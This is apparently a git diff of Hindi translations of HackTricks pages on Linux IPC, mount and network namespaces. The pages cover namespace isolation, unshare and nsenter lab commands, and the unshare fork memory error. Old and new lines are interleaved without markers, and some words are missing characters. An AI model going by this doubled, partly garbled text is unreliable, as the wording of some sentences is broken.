@ -39,13 +77,13 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g
```
{% endcode %}
### IPC नेमस्पेस के अंदर जाए
### IPC नामस्थान के अंदर प्रवेश करे
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
आप केवल **रूट होने पर** **दूसरे प्रक्रिया नेमस्पेस में प्रवेश** कर सकते हैं। और आप **उसमें प्रवेश नहीं** कर सकते **बिना एक डिस्क्रिप्टर** के जो इसे पॉइंट करता है (जैसे `/proc/self/ns/net`)।
आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/net`)।
### IPC ऑब्ज
### IPC ऑब्जेक्ट बनाएं
```bash
# Container
sudo unshare -i /bin/bash
@ -64,17 +102,19 @@ ipcs -m # Nothing is seen
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,50 +1,75 @@
# माउंट नेमस्पेस
# Mount Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मूल जानकारी
## Basic Information
माउंट नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो एक समूह के प्रक्रियाओं द्वारा देखे गए फ़ाइल सिस्टम माउंट पॉइंट का अलगीकरण प्रदान करती है। प्रत्येक माउंट नेमस्पेस के अपने फ़ाइल सिस्टम माउंट पॉइंट का सेट होता है, और **एक नेमस्पेस में माउंट पॉइंट्स में परिवर्तन अन्य नेमस्पेस को प्रभावित नहीं करते**। इसका मतलब है कि विभिन्न माउंट नेमस्पेस में चल रही प्रक्रियाएं फ़ाइल सिस्टम हायरार्की का विभिन्न दृश्य रख सकती हैं।
एक माउंट नेमस्पेस एक लिनक्स कर्नेल फीचर है जो प्रक्रियाओं के एक समूह द्वारा देखे जाने वाले फ़ाइल प्रणाली माउंट बिंदुओं का पृथक्करण प्रदान करता है। प्रत्येक माउंट नेमस्पेस के पास अपने स्वयं के फ़ाइल प्रणाली माउंट बिंदुओं का सेट होता है, और **एक नेमस्पेस में माउंट बिंदुओं में परिवर्तन अन्य नेमस्पेस को प्रभावित नहीं करते**। इसका मतलब है कि विभिन्न माउंट नेमस्पेस में चलने वाली प्रक्रियाएँ फ़ाइल प्रणाली पदानुक्रम के विभिन्न दृश्य रख सकती हैं।
माउंट नेमस्पेस कंटेनरीकरण में विशेष रूप से उपयुक्त है, जहाँ प्रत्येक कंटेनर को अपना खुद का फ़ाइल सिस्टम और विन्यास होना चाहिए, अन्य कंटेनर और होस्ट सिस्टम से अलग।
माउंट नेमस्पेस विशेष रूप से कंटेनराइजेशन में उपयोगी होते हैं, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से पृथक पने स्वयं के फ़ाइ प्रणाली और कॉन्फ़िरेशन होना चाहिए
### कैसे काम करता है:
### How it works:
1. जब एक नया माउंट नेमस्पेस बनाया जाता है, तो इसे उसके माता-पिता नेमस्पेस से माउंट पॉइंट्स की **कॉपी के साथ आरंभ किया जाता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस फ़ाइल सिस्टम का एक समान दृश्य साझा करता है जैसे कि उसके माता-पिता। हालांकि, नेमस्पेस के भीतर माउंट पॉइंट्स में किए गए किसी भी भविष्यवाणी परिवर्तन माता-पिता या अन्य नेमस्पेस को प्रभावित नहीं करेगा।
2. जब कोई प्रक्रिया अपने नेमस्पेस में माउंट पॉइंट को संशोधित करती है, जैसे कि फ़ाइल सिस्टम को माउंट करना या अनमाउंट करना, तो **परिवर्तन उस नेमस्पेस के लिए स्थानीय होता है** और अन्य नेमस्पेस पर प्रभावित नहीं होता। यह हर नेमस्पेस को अपनी स्वतंत्र फ़ाइल सिस्टम हायरार्की देने की अनुमति देता है।
3. प्रक्रियाए `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच ले जा सकती हैं, या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके `CLONE_NEWNS` फ़्लैग के साथ नए नेमस्पेस बना सकती हैं। जब कोई प्रक्रिया नए नेमस्पेस में जाती है या एक नया बनाती है, तो वह उस नेमस्पेस से संबंधित माउंट पॉइंट्स का उपयोग करना शुरू करेगी।
4. **फ़ाइल डिस्क्रिप्टर और इनोड्स नेमस्पेस के बीच साझा किए जाते हैं**, इसका मतलब है कि यदि एक प्रक्रिया एक नेमस्पेस में एक फ़ाइल को दिखाने वाला खुला फ़ाइल डिस्क्रिप्टर रखती है, तो वह प्रक्रिया दूसरे नेमस्पेस में एक प्रक्रिया को **उस फ़ाइल डिस्क्रिप्टर को पास** कर सकती है, और **दोनों प्रक्रियाएं वही फ़ाइल एक्सेस करेंगी**। हालांकि, माउंट पॉइंट्स में अंतर के कारण दोनों नेमस्पेस में फ़ाइल का पथ समान नहीं हो सकता
1. जब एक नया माउंट नेमस्पेस बनाया जाता है, तो इसे **अपने माता-पिता के नेमस्पेस से माउंट बिंदुओं की एक प्रति के साथ प्रारंभ किया जाता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस अपने माता-पिता के समान फ़ाइल प्रणाली का दृश्य साझा करता है। हालाँकि, नेमस्पेस के भीतर माउंट बिंदुओं में बाद के किसी भी परिवर्तन का प्रभाव माता-पिता या अन्य नेमस्पेस पर नहीं पड़ेगा।
2. जब क प्रक्रिया अपने नेमस्पेस के भीतर एक माउंट बिंदु को संशोधित करती है, जैसे कि फ़ाइल प्रणाली को माउंट या अनमाउंट करना, तो **परिवर्तन उस नेमस्पेस के लिए स्थानीय होता है** और अन्य नेमस्पेस को प्रभावित नहीं करता। यह प्रत्येक नेमस्पेस को अपनी स्वतंत्र फ़ाइल प्रणाली पदानुक्रम रखने की अनुमति देता है।
3. प्रक्रियाए `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं जिसमें `CLONE_NEWNS` फ्लैग होता है। जब एक प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो यह उस नेमस्पेस से जुड़े माउंट बिंदुओं का उपयोग करना शुरू करेगी।
4. **फ़ाइल डिस्क्रिप्टर्स और इनोड्स नेमस्पेस के बीच साझा किए जाते हैं**, जिसका अर्थ है कि यदि एक नेमस्पेस में एक प्रक्रिया के पास एक फ़ाइल को इंगित करने वाला एक खुला फ़ाइल डिस्क्रिप्टर है, तो यह **उस फ़ाइल डिस्क्रिप्टर को** दूसरे नेमस्पेस में एक प्रक्रिया को **दे सकती है**, और **दोनों प्रक्रियाएँ उसी फ़ाइल तक पहुँचेंगी**। हालाँकि, फ़ाइल का पथ दोनों नेमस्पेस में माउंट बिंदुओं में भिन्नताओं के कारण समान नहीं हो सकता है
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएँ
### Create different Namespaces
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करके `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस उस नेमस्पेस के लिए प्रक्रिया सूचना का सटीक और अलगजीकृत दृश्य रखता है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के समय नया PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रोसेस किस नेमस्पेस में है
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### सभी माउंट नेमस्पेस खोजें
### सभी माउंट नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -54,13 +79,13 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```
{% endcode %}
### माउंट नेमस्पेस के अंदर जाए
### एक माउंट नेमस्पेस के अंदर प्रवेश करे
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
आप केवल **रूट होने पर** **दूसरे प्रक्रिया नेमस्पेस में प्रवेश** कर सकते हैं। और आप **उसमें प्रवेश नहीं** कर सकते **बिना एक डिस्क्रिप्टर** के जो इसे पॉइंट करता है (जैसे `/proc/self/ns/mnt`).
आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/mnt`)।
क्योंकि नए माउंट्स केवल नेमस्पेस के भीतर एक्सेस करने योग्य होते हैं, इससे संभव है कि एक नेमस्पेस में संवेदनशील जानकारी हो जो केवल उससे ही एक्सेस की जा सकती है
क्योंकि नए माउंट केवल नामस्थान के भीतर ही सुलभ होते हैं, यह संभव है कि एक नामस्थान में संवेदनशील जानकारी हो जो केवल उसी से सुलभ हो
### कुछ माउंट करें
```bash
@ -80,16 +105,17 @@ ls /tmp/mount_ns_example/test # Doesn't exist
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# नेटवर्क नेमस्पेस
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## मूल जानकारी
## बुनियादी जानकारी
नेटवर्क नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो नेटवर्क स्टैक की अलगाव प्रदान करती है, जिससे **प्रत्येक नेटवर्क नेमस्पेस क अपनी स्वतंत्र नेटवर्क कॉन्फ़िगरेशन**, इंटरफेस, आईपी पते, रूटिंग टेबलें, और फ़ायरवॉल नियम हो सकते हैं। यह अलगाव विभिन्न स्थितियों में उपयोगी है, जैसे कंटेनरीकरण, जहां प्रत्येक कंटेनर को अपनी नेटवर्क कॉन्फ़िगरेशन होनी चाहिए, अन्य कंटेनरों और होस्ट सिस्टम से अलग
एक नेटवर्क नेमस्पेस एक Linux कर्नेल फीचर है जो नेटवर्क स्टैक का अलगाव प्रदान करता है, जिससे **प्रत्येक नेटवर्क नेमस्पेस क अपनी स्वतंत्र नेटवर्क कॉन्फ़िगरेशन**, इंटरफेस, IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम हो सकते हैं। यह अलगाव विभिन्न परिदृश्यों में उपयोगी है, जैसे कंटेनरीकरण, जहां प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से स्वतंत्र अपनी नेटवर्क कॉन्फ़िगरेशन होनी चाहिए।
### काम कैसे करता है:
### यह कैसे काम करता है:
1. जब एक नया नेटवर्क नेमस्पेस बनाया जाता है, तो यह एक **पूरी तरह से अलग नेटवर्क स्टैक** के साथ शुरू होता है, **कोई नेटवर्क इंटरफेस नहीं** सिवाए लूपबैक इंटरफेस (lo) के। इसका मतलब है कि नए नेटवर्क नेमस्पेस में चल रहे प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नेमस्पेस या होस्ट सिस्टम की प्रक्रियाओं से संवाद करने में सक्षम नहीं हो सकती
2. **वर्चुअल नेटवर्क इंटरफेस**, जैसे veth पेयर, बनाए जा सकते हैं और नेटवर्क नेमस्पेस के बीच या नेमस्पेस और होस्ट सिस्टम के बीच नेटवर्क कनेक्टिविटी स्थापित करने की अनुमति देते हैं। उदाहरण के लिए, एक veth पेयर का एक अंत कंटेनर के नेटवर्क नेमस्पेस में रखा जा सकता है, और दूसरा अंत होस्ट नेमस्पेस में एक ब्रिज या दूसरे नेटवर्क इंटरफेस से कनेक्ट किया जा सकता है, कंटेनर को नेटवर्क कनेक्टिविटी प्रदान करते हुए
3. नेमस्पेस के भीतर नेटवर्क इंटरफेस अपने **अपने आईपी पते, रूटिंग टेबलें, और फ़ायरवॉल नियम** रख सकते हैं, अन्य नेमस्पेस से अलग। इससे विभिन्न नेटवर्क नेमस्पेस में प्रक्रियाएँ विभिन्न नेटवर्क कॉन्फ़िगरेशन रख सकती हैं और ऐसा लग सकता है कि वे अलग-अलग नेटवर्क सिस्टम पर चल रही हैं।
4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच ले जा सकती हैं, या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके `CLONE_NEWNET` फ़्लैग के साथ नए नेमस्पेस बना सकती हैं। जब कोई प्रक्रिया नए नेमस्पेस में जाती है या एक बनाती है, तो ह उस नेमस्पेस से संबंधित नेटवर्क कॉन्फ़िगरेशन और इंटरफेस का उपयोग करना शुरू करेगी।
1. जब एक नया नेटवर्क नेमस्पेस बनाया जाता है, तो यह **पूर्ण रूप से अलग नेटवर्क स्टैक** के साथ शुरू होता है, जिसमें **कोई नेटवर्क इंटरफेस** नहीं होता है सिवाय लूपबैक इंटरफेस (lo) के। इसका मतलब है कि नए नेटवर्क नेमस्पेस में चलने वाली प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नेमस्पेस या होस्ट सिस्टम में चलने वाली प्रक्रियाओं के साथ संवाद नहीं कर सकती हैं
2. **वर्चुअल नेटवर्क इंटरफेस**, जैसे veth जोड़े, बनाए जा सकते हैं और नेटवर्क नेमस्पेस के बीच स्थानांतरित किए जा सकते हैं। यह नेमस्पेस के बीच या एक नेमस्पेस और होस्ट सिस्टम के बीच नेटवर्क कनेक्टिविटी स्थापित करने की अनुमति देता है। उदाहरण के लिए, एक veth जोड़े का एक सिरा एक कंटेनर के नेटवर्क नेमस्पेस में रखा जा सकता है, और दूसरा सिरा होस्ट नेमस्पेस में एक **ब्रिज** या अन्य नेटवर्क इंटरफेस से जोड़ा जा सकता है, जिससे कंटेनर को नेटवर्क कनेक्टिविटी मिलती है
3. एक नेमस्पेस के भीतर नेटवर्क इंटरफेस के **अपने IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम** हो सकते हैं, जो अन्य नेमस्पेस से स्वतंत्र होते हैं। यह विभिन्न नेटवर्क नेमस्पेस में प्रक्रियाओं को अलग-अलग नेटवर्क कॉन्फ़िगरेशन रखने और ऐसा कार्य करने की अनुमति देता है जैसे कि वे अलग-अलग नेटवर्क सिस्टम पर चल रही हैं।
4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `CLONE_NEWNET` फ्लैग के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं। जब क प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो ह उस नेमस्पेस से संबंधित नेटवर्क कॉन्फ़िगरेशन और इंटरफेस का उपयोग करना शुरू करेगी।
## लैब:
## प्रयोगशाला:
### विभिन्न नेमस्पेस बनाएं
@ -34,17 +35,41 @@ HackTricks का समर्थन करने के अन्य तरी
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं तो `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास उस नेमस्पेस के लिए विशिष्ट प्रक्रिया सूचना का सटीक और अलग दृश्य है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के दौरान एक नया PID आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
